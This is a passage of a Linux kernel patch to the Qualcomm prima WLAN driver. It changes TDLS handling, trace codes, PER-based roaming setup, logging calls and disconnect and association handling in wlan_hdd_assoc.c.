wlan_hdd_tdls_copy_scan_context(hdd_context_t *pHddCtx, - struct wiphy *wiphy, -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - struct net_device *dev, -#endif - struct cfg80211_scan_request *request); - int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, struct wiphy *wiphy, #if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) @@ -422,6 +415,36 @@ void wlan_hdd_tdls_timer_restart(hdd_adapter_t *pAdapter, void wlan_hdd_tdls_indicate_teardown(hdd_adapter_t *pAdapter, hddTdlsPeer_t *curr_peer, tANI_U16 reason); +#ifdef FEATURE_WLAN_DIAG_SUPPORT +void hdd_send_wlan_tdls_teardown_event(uint32_t reason, + uint8_t *peer_mac); +void hdd_wlan_tdls_enable_link_event(const uint8_t *peer_mac, + uint8_t is_off_chan_supported, + uint8_t is_off_chan_configured, + uint8_t is_off_chan_established); +void hdd_wlan_block_scan_by_tdls(void); + +#else +static inline +void hdd_send_wlan_tdls_teardown_event(uint32_t reason, + uint8_t *peer_mac) +{ + return; +} +static inline +void hdd_wlan_tdls_enable_link_event(const uint8_t *peer_mac, + uint8_t is_off_chan_supported, + uint8_t is_off_chan_configured, + uint8_t is_off_chan_established) +{ + return; +} +static inline +void hdd_wlan_block_scan_by_tdls(void) +{ + return; +} +#endif /* FEATURE_WLAN_DIAG_SUPPORT */ int wlan_hdd_tdls_set_force_peer(hdd_adapter_t *pAdapter, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) @@ -471,6 +494,13 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter); int wlan_hdd_validate_tdls_context(hdd_context_t *pHddCtx, tdlsCtx_t *pTdlsCtx); void wlan_hdd_tdls_reenable(hdd_context_t *pHddCtx); + +void wlan_hdd_tdls_notify_packet(hdd_adapter_t *adapter, struct sk_buff *skb); + +void wlan_hdd_change_tdls_mode(void *hdd_ctx); + +void wlan_hdd_start_stop_tdls_source_timer(hdd_context_t *pHddCtx, + eTDLSSupportMode tdls_mode); #else static inline void hdd_tdls_notify_mode_change(hdd_adapter_t *pAdapter, hdd_context_t *pHddCtx) @@ -484,6 +514,20 @@ static inline void wlan_hdd_tdls_reenable(hdd_context_t *pHddCtx) { } +static inline void +wlan_hdd_tdls_notify_packet(hdd_adapter_t *adapter, struct sk_buff *skb) +{ +} +static inline void +wlan_hdd_change_tdls_mode(void *hdd_ctx) +{ +} + +static inline void +wlan_hdd_start_stop_tdls_source_timer(hdd_context_t *pHddCtx, + eTDLSSupportMode tdls_mode) +{ +} #endif void wlan_hdd_tdls_update_rx_pkt_cnt_n_rssi(hdd_adapter_t *pAdapter, u8 *mac, v_S7_t rssiAvg); diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_trace.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_trace.h index aef3ef5922e23..b12c6a37ef983 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_trace.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_trace.h @@ -82,8 +82,6 @@ enum TRACE_CODE_HDD_CHANGE_STATION, TRACE_CODE_HDD_CFG80211_UPDATE_BSS, TRACE_CODE_HDD_CFG80211_SCAN, - TRACE_CODE_HDD_CFG80211_SCHED_SCAN_START, - TRACE_CODE_HDD_CFG80211_SCHED_SCAN_STOP, TRACE_CODE_HDD_REMAIN_ON_CHANNEL, TRACE_CODE_HDD_REMAINCHANREADYHANDLER, TRACE_CODE_HDD_CFG80211_CANCEL_REMAIN_ON_CHANNEL, @@ -94,7 +92,6 @@ enum TRACE_CODE_HDD_CFG80211_DEL_STA, TRACE_CODE_HDD_CFG80211_ADD_STA, TRACE_CODE_HDD_CFG80211_SET_PMKSA, - TRACE_CODE_HDD_CFG80211_DEL_PMKSA, TRACE_CODE_HDD_CFG80211_UPDATE_FT_IES, TRACE_CODE_HDD_CFG80211_TDLS_MGMT, TRACE_CODE_HDD_CFG80211_TDLS_OPER, @@ -110,10 +107,15 @@ enum TRACE_CODE_HDD_CFG80211_SET_MAC_ACL, TRACE_CODE_HDD_CFG80211_TESTMODE, TRACE_CODE_HDD_CFG80211_DUMP_SURVEY, + TRACE_CODE_HDD_CFG80211_SCHED_SCAN_START, + TRACE_CODE_HDD_CFG80211_SCHED_SCAN_STOP, + TRACE_CODE_HDD_CFG80211_DEL_PMKSA, }; extern void hddTraceDump(void *pMac, tpvosTraceRecord pRecord, tANI_U16 recIndex); extern void hddTraceInit(void); +void hdd_register_debug_callback(void); + #endif diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tx_rx.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tx_rx.h index 5fab1806f2771..68f7174b4bae2 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tx_rx.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tx_rx.h @@ -76,6 +76,8 @@ #define SME_QOS_UAPSD_CFG_VI_CHANGED_MASK 0xF4 #define SME_QOS_UAPSD_CFG_VO_CHANGED_MASK 0xF8 +#define HDD_ETH_HEADER_LEN 14 + /* WLAN_DHCP_DEBUG */ #define RX_PATH ( 0 ) #define TX_PATH ( 1 ) diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_wext.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_wext.h index d8d87287cea4b..fe8bfed211878 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_wext.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_wext.h @@ -463,5 +463,6 @@ void* wlan_hdd_change_country_code_callback(void *pAdapter); int hdd_setBand(struct net_device *dev, u8 ui_band); int hdd_setBand_helper(struct net_device *dev, const char *command); VOS_STATUS wlan_hdd_get_frame_logs(hdd_adapter_t *pAdapter, v_U8_t flag); +int wlan_hdd_set_proximity(int set_value); #endif // __WEXT_IW_H__ diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c index fde6de9c8dc29..933a2df781d14 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -326,6 +326,8 @@ void hdd_connSaveConnectInfo( hdd_adapter_t *pAdapter, tCsrRoamInfo *pRoamInfo, // Save dot11mode in which STA associated to AP pHddStaCtx->conn_info.dot11Mode = pRoamInfo->u.pConnectedProfile->dot11Mode; + + pHddStaCtx->conn_info.rate_flags = pRoamInfo->maxRateFlags; } } @@ -667,11 +669,14 @@ static void hdd_SendAssociationEvent(struct net_device *dev,tCsrRoamInfo *pCsrRo } } #endif - pr_info("wlan: " MAC_ADDRESS_STR " connected to " MAC_ADDRESS_STR "\n", + hddLog(VOS_TRACE_LEVEL_INFO, MAC_ADDRESS_STR " connected to " + MAC_ADDRESS_STR, MAC_ADDR_ARRAY(pAdapter->macAddressCurrent.bytes), MAC_ADDR_ARRAY(wrqu.ap_addr.sa_data)); hdd_SendUpdateBeaconIEsEvent(pAdapter, pCsrRoamInfo); + hdd_manage_delack_timer(pHddCtx); + /* Send IWEVASSOCRESPIE Event if WLAN_FEATURE_CIQ_METRICS is Enabled Or * Send IWEVASSOCRESPIE Event if WLAN_FEATURE_VOWIFI_11R is Enabled * and fFTEnable is TRUE */ @@ -694,14 +699,19 @@ static void hdd_SendAssociationEvent(struct net_device *dev,tCsrRoamInfo *pCsrRo wlan_hdd_incr_active_session(pHddCtx, pAdapter->device_mode); memcpy(wrqu.ap_addr.sa_data, pHddStaCtx->conn_info.bssId, ETH_ALEN); type = WLAN_STA_ASSOC_DONE_IND; - pr_info("wlan: new IBSS connection to " MAC_ADDRESS_STR"\n", - MAC_ADDR_ARRAY(pHddStaCtx->conn_info.bssId)); + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "wlan: new IBSS connection to " MAC_ADDRESS_STR, + MAC_ADDR_ARRAY(pHddStaCtx->conn_info.bssId)); } else /* Not Associated */ { - pr_info("wlan: disconnected\n"); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "wlan: disconnected"); type = WLAN_STA_DISASSOC_DONE_IND; memset(wrqu.ap_addr.sa_data,'\0',ETH_ALEN); + + hdd_manage_delack_timer(pHddCtx); } hdd_dump_concurrency_info(pHddCtx); @@ -1001,9 +1011,6 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount = 0; INIT_COMPLETION(pAdapter->disconnect_comp_var); - /* HDD has initiated disconnect, do not send disconnect indication - * to kernel as it will be handled by __cfg80211_disconnect. - */ /* If only STA mode is on */ if((pHddCtx->concurrency_mode <= 1) && (pHddCtx->no_of_open_sessions[WLAN_HDD_INFRA_STATION] <= 1)) @@ -1017,7 +1024,14 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * */ spin_lock_bh(&pAdapter->lock_for_active_session); - if ( eConnectionState_Disconnecting == pHddStaCtx->conn_info.connState ) + + /* HDD has initiated disconnect, do not send disconnect indication + * to kernel. Sending disconnected event to kernel for userspace + * initiated disconnect will be handled by diconnect handler call + * to cfg80211_disconnected + */ + if ((eConnectionState_Disconnecting == pHddStaCtx->conn_info.connState) || + (eConnectionState_NotConnected == pHddStaCtx->conn_info.connState)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, FL(" HDD has initiated a disconnect, no need to send" @@ -1027,7 +1041,7 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * else if (eConnectionState_Associated == pHddStaCtx->conn_info.connState) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - FL(" Set HDD connState to eConnectionState_Disconnecting from %d "), + FL("Set HDD connState to eConnectionState_Disconnecting from %d "), pHddStaCtx->conn_info.connState); hdd_connSetConnectionState( pHddStaCtx, eConnectionState_Disconnecting ); wlan_hdd_decr_active_session(pHddCtx, pAdapter->device_mode); @@ -1078,11 +1092,13 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * /* To avoid wpa_supplicant sending "HANGED" CMD to ICS UI */ if ( eCSR_ROAM_LOSTLINK == roamStatus ) { - cfg80211_disconnected(dev, pRoamInfo->reasonCode, NULL, 0, GFP_KERNEL); + wlan_hdd_cfg80211_indicate_disconnect(dev, false, + pRoamInfo->reasonCode); } else { - cfg80211_disconnected(dev, WLAN_REASON_UNSPECIFIED, NULL, 0, GFP_KERNEL); + wlan_hdd_cfg80211_indicate_disconnect(dev, false, + WLAN_REASON_UNSPECIFIED); } } @@ -1128,6 +1144,14 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * } hdd_wmm_adapter_clear(pAdapter); + /* Clear PER based roam stats */ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (sme_IsFeatureSupportedByFW(PER_BASED_ROAMING) && + (WLAN_HDD_INFRA_STATION == pAdapter->device_mode) && + pHddCtx->cfg_ini && pHddCtx->cfg_ini->isPERRoamEnabled && + pHddCtx->cfg_ini->isPERRoamRxPathEnabled) + sme_unset_per_roam_rxconfig(pHddCtx->hHal); +#endif #if defined(WLAN_FEATURE_VOWIFI_11R) sme_FTReset(WLAN_HDD_GET_HAL_CTX(pAdapter)); #endif @@ -1197,6 +1221,14 @@ static eHalStatus hdd_DisConnectHandler( hdd_adapter_t *pAdapter, tCsrRoamInfo * else { sta_id = pHddStaCtx->conn_info.staId[0]; + /* clear scan cache for Link Lost */ + if (pRoamInfo && !pRoamInfo->reasonCode && + (eCSR_ROAM_LOSTLINK == roamStatus)) { + wlan_hdd_cfg80211_update_bss_list(pAdapter, + pHddStaCtx->conn_info.bssId); + sme_remove_bssid_from_scan_list(pHddCtx->hHal, + pHddStaCtx->conn_info.bssId); + } //We should clear all sta register with TL, for now, only one. vstatus = hdd_roamDeregisterSTA( pAdapter, sta_id ); @@ -1552,7 +1584,6 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs #endif int status; v_BOOL_t hddDisconInProgress = FALSE; - tANI_U16 reason_code; /* HDD has initiated disconnect, do not send connect result indication * to kernel as it will be handled by __cfg80211_disconnect. @@ -1580,6 +1611,22 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs pAdapter->maxRateFlags = pRoamInfo->maxRateFlags; // Save the connection info from CSR... hdd_connSaveConnectInfo( pAdapter, pRoamInfo, eCSR_BSS_TYPE_INFRASTRUCTURE ); + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (sme_IsFeatureSupportedByFW(PER_BASED_ROAMING) && + (WLAN_HDD_INFRA_STATION == pAdapter->device_mode) && + !hddDisconInProgress && + pHddCtx->cfg_ini && pHddCtx->cfg_ini->isPERRoamEnabled && + pHddCtx->cfg_ini->isPERRoamRxPathEnabled) + sme_set_per_roam_rxconfig(pHddCtx->hHal, + pHddStaCtx->conn_info.staId[0], + pHddCtx->cfg_ini->rateDownThreshold, + pHddCtx->cfg_ini->rateUpThreshold, + pHddCtx->cfg_ini->PERroamTriggerPercent, + pHddCtx->cfg_ini->PERroamRxPktsThreshold, + pHddCtx->cfg_ini->waitPeriodForNextPERScan); +#endif + #ifdef FEATURE_WLAN_WAPI if ( pRoamInfo->u.pConnectedProfile->AuthType == eCSR_AUTH_TYPE_WAPI_WAI_CERTIFICATE || pRoamInfo->u.pConnectedProfile->AuthType == eCSR_AUTH_TYPE_WAPI_WAI_PSK ) @@ -1662,8 +1709,22 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs bss = wlan_hdd_cfg80211_update_bss_db(pAdapter, pRoamInfo); if (NULL == bss) { - pr_err("wlan: Not able to create BSS entry\n"); + hddLog(LOGE, + FL("Not able to create BSS entry")); netif_carrier_off(dev); + if (!hddDisconInProgress) { + /* + * Here driver was not able to update cfg80211 database + * this can happen if connected channel is not valid, + * i.e reg domain was changed during connection. + * Queue disconnect for the session if disconnect is + * not in progress. + */ + hddLog(LOGE, FL("Disconnecting...")); + sme_RoamDisconnect( WLAN_HDD_GET_HAL_CTX(pAdapter), + pAdapter->sessionId, + eCSR_DISCONNECT_REASON_UNSPECIFIED); + } return eHAL_STATUS_FAILURE; } #ifdef WLAN_FEATURE_VOWIFI_11R @@ -1725,7 +1786,8 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs (int)pRoamInfo->pBssDesc->channelId); hddLog(LOG1, "assocReqlen %d assocRsplen %d", assocReqlen, assocRsplen); - if (pHddCtx->cfg_ini->gEnableRoamDelayStats) + if (pHddCtx->cfg_ini && + pHddCtx->cfg_ini->gEnableRoamDelayStats) { vos_record_roam_event(e_HDD_SEND_REASSOC_RSP, NULL, 0); } @@ -1779,7 +1841,8 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs if(ft_carrier_on) { hdd_SendReAssocEvent(dev, pAdapter, pRoamInfo, reqRsnIe, reqRsnLength); - if (pHddCtx->cfg_ini->gEnableRoamDelayStats) + if (pHddCtx->cfg_ini && + pHddCtx->cfg_ini->gEnableRoamDelayStats) { vos_record_roam_event(e_HDD_SEND_REASSOC_RSP, NULL, 0); } @@ -1873,7 +1936,7 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs hddLog(VOS_TRACE_LEVEL_INFO, FL("Enabling queues")); netif_tx_wake_all_queues(dev); } - if (pHddCtx->cfg_ini->gEnableRoamDelayStats) + if (pHddCtx->cfg_ini && pHddCtx->cfg_ini->gEnableRoamDelayStats) { vos_record_roam_event(e_HDD_ENABLE_TX_QUEUE, NULL, 0); } @@ -1887,13 +1950,12 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs hdd_wext_state_t *pWextState = WLAN_HDD_GET_WEXT_STATE_PTR(pAdapter); if (pRoamInfo) - pr_info("wlan: connection failed with " MAC_ADDRESS_STR - " result:%d and Status:%d", - MAC_ADDR_ARRAY(pRoamInfo->bssid), - roamResult, roamStatus); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "wlan: connection failed with " MAC_ADDRESS_STR " result:%d and Status:%d", + MAC_ADDR_ARRAY(pRoamInfo->bssid), roamResult, roamStatus); else - pr_info("wlan: connection failed with " MAC_ADDRESS_STR - " result:%d and Status:%d", + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "wlan: connection failed with " MAC_ADDRESS_STR " result:%d and Status:%d", MAC_ADDR_ARRAY(pWextState->req_bssId), roamResult, roamStatus); @@ -1903,6 +1965,16 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs wlan_hdd_get_frame_logs(pAdapter, WLAN_HDD_GET_FRAME_LOG_CMD_SEND_AND_CLEAR); + if ((eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE == roamResult) || + (pRoamInfo && + ((eSIR_SME_JOIN_TIMEOUT_RESULT_CODE == pRoamInfo->statusCode) || + (eSIR_SME_AUTH_TIMEOUT_RESULT_CODE == pRoamInfo->statusCode) || + (eSIR_SME_ASSOC_TIMEOUT_RESULT_CODE == pRoamInfo->statusCode)))) { + wlan_hdd_cfg80211_update_bss_list(pAdapter, + pRoamInfo ? pRoamInfo->bssid : pWextState->req_bssId); + sme_remove_bssid_from_scan_list(pHddCtx->hHal, + pRoamInfo ? pRoamInfo->bssid : pWextState->req_bssId); + } /* Set connection state to eConnectionState_NotConnected only when CSR * has completed operation - with a ASSOCIATION_FAILURE status */ @@ -1996,13 +2068,18 @@ static eHalStatus hdd_AssociationCompletionHandler( hdd_adapter_t *pAdapter, tCs } else { - reason_code = WLAN_STATUS_UNSPECIFIED_FAILURE; - - if (pRoamInfo && pRoamInfo->reasonCode) - reason_code = (tANI_U16)pRoamInfo->reasonCode; - - cfg80211_connect_result(dev, pWextState->req_bssId, - NULL, 0, NULL, 0, reason_code, GFP_KERNEL); + if (pRoamInfo) + cfg80211_connect_result ( dev, pRoamInfo->bssid, + NULL, 0, NULL, 0, + pRoamInfo->reasonCode ? + pRoamInfo->reasonCode : + WLAN_STATUS_UNSPECIFIED_FAILURE, + GFP_KERNEL ); + else + cfg80211_connect_result ( dev, pWextState->req_bssId, + NULL, 0, NULL, 0, + WLAN_STATUS_UNSPECIFIED_FAILURE, + GFP_KERNEL ); } /*Clear the roam profile*/ hdd_clearRoamProfileIe( pAdapter ); @@ -2114,6 +2191,11 @@ static void hdd_RoamIbssIndicationHandler( hdd_adapter_t *pAdapter, __func__, pAdapter->dev->name); return; } +#ifdef WLAN_FEATURE_RMC + netif_carrier_on(pAdapter->dev); + hddLog(VOS_TRACE_LEVEL_INFO, FL("Enabling queues")); + netif_tx_start_all_queues(pAdapter->dev); +#endif #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,15,0)) chan_no = pRoamInfo->pBssDesc->channelId; @@ -2408,7 +2490,7 @@ static void hdd_ReConfigSuspendDataClearedDuringRoaming(hdd_context_t *pHddCtx) vstatus = hdd_conf_arp_offload(pAdapter, TRUE); if (!VOS_IS_STATUS_SUCCESS(vstatus)) { - hddLog(VOS_TRACE_LEVEL_ERROR, + hddLog(VOS_TRACE_LEVEL_INFO, FL("Failed to disable ARPOffload Feature %d"), vstatus); } } @@ -2650,19 +2732,12 @@ static eHalStatus roamRoamConnectStatusUpdateHandler( hdd_adapter_t *pAdapter, t hdd_station_ctx_t *pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); struct station_info staInfo; - pr_info ( "IBSS New Peer indication from SME " - "with peerMac " MAC_ADDRESS_STR " BSSID: " MAC_ADDRESS_STR " and stationID= %d", + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "IBSS New Peer indication from SME with peerMac " MAC_ADDRESS_STR " BSSID: " MAC_ADDRESS_STR " and stationID= %d", MAC_ADDR_ARRAY(pRoamInfo->peerMac), MAC_ADDR_ARRAY(pHddStaCtx->conn_info.bssId), pRoamInfo->staId ); - if ( !roamSaveIbssStation( pAdapter, pRoamInfo->staId, (v_MACADDR_t *)pRoamInfo->peerMac ) ) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, - "New IBSS peer but we already have the max we can handle. Can't register this one" ); - break; - } - pHddCtx->sta_to_adapter[pRoamInfo->staId] = pAdapter; pHddCtx->sta_to_adapter[IBSS_BROADCAST_STAID] = pAdapter; @@ -2681,6 +2756,13 @@ static eHalStatus roamRoamConnectStatusUpdateHandler( hdd_adapter_t *pAdapter, t "Cannot register STA with TL for IBSS. Failed with vosStatus = %d [%08X]", vosStatus, vosStatus ); } + if (!roamSaveIbssStation(pAdapter, + pRoamInfo->staId, + (v_MACADDR_t *)pRoamInfo->peerMac)) + { + hddLog(LOGW, FL("Not Able to add sta in sta hash")); + break; + } pHddStaCtx->ibss_sta_generation++; memset(&staInfo, 0, sizeof(staInfo)); staInfo.filled = 0; @@ -2738,8 +2820,8 @@ static eHalStatus roamRoamConnectStatusUpdateHandler( hdd_adapter_t *pAdapter, t "IBSS peer departed by cannot find peer in our registration table with TL" ); } - pr_info ( "IBSS Peer Departed from SME " - "with peerMac " MAC_ADDRESS_STR " BSSID: " MAC_ADDRESS_STR " and stationID= %d", + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "IBSS Peer Departed from SME with peerMac " MAC_ADDRESS_STR " BSSID: " MAC_ADDRESS_STR " and stationID= %d", MAC_ADDR_ARRAY(pRoamInfo->peerMac), MAC_ADDR_ARRAY(pHddStaCtx->conn_info.bssId), pRoamInfo->staId ); @@ -2929,7 +3011,9 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, roamResult == eCSR_ROAM_RESULT_UPDATE_TDLS_PEER ? "UPDATE_TDLS_PEER" : roamResult == eCSR_ROAM_RESULT_LINK_ESTABLISH_REQ_RSP ? - "LINK_ESTABLISH_REQ_RSP" : "UNKNOWN", + "LINK_ESTABLISH_REQ_RSP" : + roamResult == eCSR_ROAM_RESULT_CHANNEL_SWITCH_REQ_RSP ? + "CHANNEL_SWITCH_REQ_RSP" : "UNKNOWN", pRoamInfo->staId, MAC_ADDR_ARRAY(pRoamInfo->peerMac)); switch( roamResult ) { @@ -2937,9 +3021,21 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, { if(eSIR_SME_SUCCESS != pRoamInfo->statusCode) { + hddTdlsPeer_t *curr_peer; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, ("%s: Add Sta is failed. %d"),__func__, pRoamInfo->statusCode); wlan_hdd_tdls_check_bmps(pAdapter); + + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, + pRoamInfo->peerMac, FALSE); + if (NULL != curr_peer) + curr_peer->link_status = eTDLS_LINK_TEARING; + else + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s %d curr_peer is Null", __func__,__LINE__); + mutex_unlock(&pHddCtx->tdls_lock); } else { @@ -3012,12 +3108,35 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, { if (eSIR_SME_SUCCESS != pRoamInfo->statusCode) { + hddTdlsPeer_t *curr_peer; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: Link Establish Request failed. %d", __func__, pRoamInfo->statusCode); + + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, + pRoamInfo->peerMac, FALSE); + if (curr_peer) + curr_peer->link_status = eTDLS_LINK_TEARING; + else + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s %d curr_peer is Null",__func__,__LINE__); + mutex_unlock(&pHddCtx->tdls_lock); } complete(&pAdapter->tdls_link_establish_req_comp); break; } + case eCSR_ROAM_RESULT_CHANNEL_SWITCH_REQ_RSP: + { + if (eSIR_SME_SUCCESS != pRoamInfo->statusCode) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Channel switch request failed. %d", __func__, + pRoamInfo->statusCode); + else + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Channel switch request Success", __func__); + break; + } case eCSR_ROAM_RESULT_DELETE_TDLS_PEER: { hddTdlsPeer_t *curr_peer; @@ -3051,7 +3170,9 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, else mutex_unlock(&pHddCtx->tdls_lock); + mutex_lock(&pHddCtx->tdls_lock); wlan_hdd_tdls_reset_peer(pAdapter, pRoamInfo->peerMac); + mutex_unlock(&pHddCtx->tdls_lock); pHddCtx->tdlsConnInfo[staIdx].staId = 0 ; pHddCtx->tdlsConnInfo[staIdx].sessionId = 255; @@ -3077,6 +3198,8 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, FALSE); wlan_hdd_tdls_indicate_teardown(pAdapter, curr_peer, pRoamInfo->reasonCode); + hdd_send_wlan_tdls_teardown_event(eTDLS_TEARDOWN_BSS_DISCONNECT, + curr_peer->peerMac); mutex_unlock(&pHddCtx->tdls_lock); #endif status = eHAL_STATUS_SUCCESS ; @@ -3094,7 +3217,11 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, ("hdd_tdlsStatusUpdate: staIdx %d " MAC_ADDRESS_STR), pHddCtx->tdlsConnInfo[staIdx].staId, MAC_ADDR_ARRAY(pHddCtx->tdlsConnInfo[staIdx].peerMac.bytes)); + + mutex_lock(&pHddCtx->tdls_lock); wlan_hdd_tdls_reset_peer(pAdapter, pHddCtx->tdlsConnInfo[staIdx].peerMac.bytes); + mutex_unlock(&pHddCtx->tdls_lock); + hdd_roamDeregisterTDLSSTA ( pAdapter, pHddCtx->tdlsConnInfo[staIdx].staId ); wlan_hdd_tdls_decrement_peer_count(pAdapter); @@ -3119,7 +3246,7 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, } #endif -static void iw_full_power_cbfn (void *pContext, eHalStatus status) +void iw_full_power_cbfn (void *pContext, eHalStatus status) { hdd_adapter_t *pAdapter = (hdd_adapter_t *)pContext; hdd_context_t *pHddCtx = NULL; @@ -3158,6 +3285,7 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 hdd_wext_state_t *pWextState = NULL; hdd_station_ctx_t *pHddStaCtx = NULL; VOS_STATUS status = VOS_STATUS_SUCCESS; + struct cfg80211_bss *bss_status; hdd_context_t *pHddCtx = NULL; VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, @@ -3182,17 +3310,13 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 return eHAL_STATUS_FAILURE; } - MTRACE(vos_trace(VOS_MODULE_ID_HDD, TRACE_CODE_HDD_RX_SME_MSG, pAdapter->sessionId, roamStatus)); switch( roamStatus ) { case eCSR_ROAM_SESSION_OPENED: - if(pAdapter != NULL) - { - set_bit(SME_SESSION_OPENED, &pAdapter->event_flags); - complete(&pAdapter->session_open_comp_var); - } + set_bit(SME_SESSION_OPENED, &pAdapter->event_flags); + complete(&pAdapter->session_open_comp_var); break; #if defined (WLAN_FEATURE_VOWIFI_11R) || defined (FEATURE_WLAN_ESE) || defined(FEATURE_WLAN_LFR) @@ -3371,7 +3495,8 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 if((pHddCtx) && (TRUE == pHddCtx->hdd_wlan_suspended) && - (eCSR_ROAM_RESULT_NONE == roamResult)) + ((eCSR_ROAM_RESULT_NONE == roamResult)|| + (pRoamInfo && pRoamInfo->is11rAssoc))) { /* Send DTIM period to the FW; only if the wlan is already in suspend. This is the case with roaming (reassoc), @@ -3398,7 +3523,8 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 if ((pHddCtx) && (FULL_POWER == pmcGetPmcState(pHddCtx->hHal)) && (VOS_TRUE == pHddStaCtx->hdd_ReassocScenario) && - (eCSR_ROAM_RESULT_NONE == roamResult)) + ((eCSR_ROAM_RESULT_NONE == roamResult) || + (pRoamInfo && pRoamInfo->is11rAssoc))) { hddLog( LOG1, FL("Device in full power." "Stop and start traffic timer for roaming")); @@ -3411,7 +3537,8 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 } halStatus = hdd_RoamSetKeyCompleteHandler( pAdapter, pRoamInfo, roamId, roamStatus, roamResult ); - if 